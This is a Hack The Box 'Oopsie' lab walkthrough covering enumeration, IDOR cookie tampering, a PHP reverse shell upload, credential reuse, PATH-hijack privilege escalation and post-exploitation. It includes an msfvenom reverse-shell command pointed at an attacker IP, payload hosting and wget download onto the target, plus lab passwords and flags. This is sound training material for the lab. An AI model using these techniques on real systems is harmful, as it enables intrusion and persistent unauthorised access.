Oopsie
HTB - Oopsie
nmap -T4 -p- -A 10.10.10.28Nessus scan for fun Start with
sudo /etc/init.d/nessusd startand go tohttps://kali:8834Enumerate HTTP
Ran
nikto -h http://10.10.10.28Potential Exploit: CVE-2019-0211:
https://www.cvedetails.com/cve/CVE-2019-0211/
https://www.tenable.com/blog/cve-2019-0211-proof-of-concept-for-apache-root-privilege-escalation-vulnerability-published
https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache
https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
Ran
dirbusterwithhttp://10.10.10.28:80, wordlist/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Credentials of
admin:MEGACORP_4dm1n!!successfully signin.Analysis with Burp Suite:
When going to accounts page:
Result: It might be possible to brute force the id values, and display the user value for another user, such as the super admin account. We can do this using Burp's Intruder module. Click CTRL + i to sent the request to Intruder.
We press Clear to remove the pre-populated payload positions, select the Id value (1), and click Add. Next, click on the Payloads tab.
We can generate a sequential list of 1-100 using a simple bash loop:
for i in `seq 1 100`; do echo $i; done. Paste the output into the Payloads box.Go to
Uploadspage and changeCookie: user=34322; role=admintoCookie: user=86575; role=admin
Use msfvenom cheatsheet 1 to create payload:
Open up port to listen on:
Execute the php file:
10.10.10.28/uploads/shell.phpResult: Meterpreter grantedUser Flag:
f2c74ee8db7983851ab2a96a44eb7981Lateral Movement The website records are probably retrieved from a database, so it's a good idea to check for database connection information. Indeed,
db.phpdoes contain credentials, and we cansu robertto move laterally.Result:
Robert Password:
M3g4C0rpUs3r!Switch users:
Privilege Escalation
Attempt automatic Privilege Escalation
Result: No suggestions found
Run
idasrobert:uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)reveals he is part ofbugtrackerWe can enumerate the filesystem to see if this group has any special access:
find / -type f -group bugtracker 2>/dev/nullRun
/usr/bin/bugtrackerTry
strings /usr/bin/bugtrackerResults: We see that it calls the cat binary using this relative path instead of the absolute path. By creating a malicious cat, and modifying the path to include the current working directory, we should be able to abuse this misconfiguration, and escalate our privileges to root.
Let's add the current working directory to PATH, create the malicious binary and make it executable.
The relative
catcommand is now/bin/bashRun
/usr/bin/bugtrackerand gain root./bin/cat root.txtRoot Flag:
af13b0bee69f8a877c3faf667f7beacf
Post Exploitation
Create exploit to run as root;
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.15.117 LPORT=34847 -f raw > shell.shHost the new exploit for downloading:
sudo python3 -m http.server 80Download exploit onto target:
wget 10.10.15.117/shell.shOpen up port to listen on:
Run
./shell.shas rootUpgrade to meterpreter
Allow access in at any time with SSH
And then in normal attacker prompt:
Find loot
Last updated
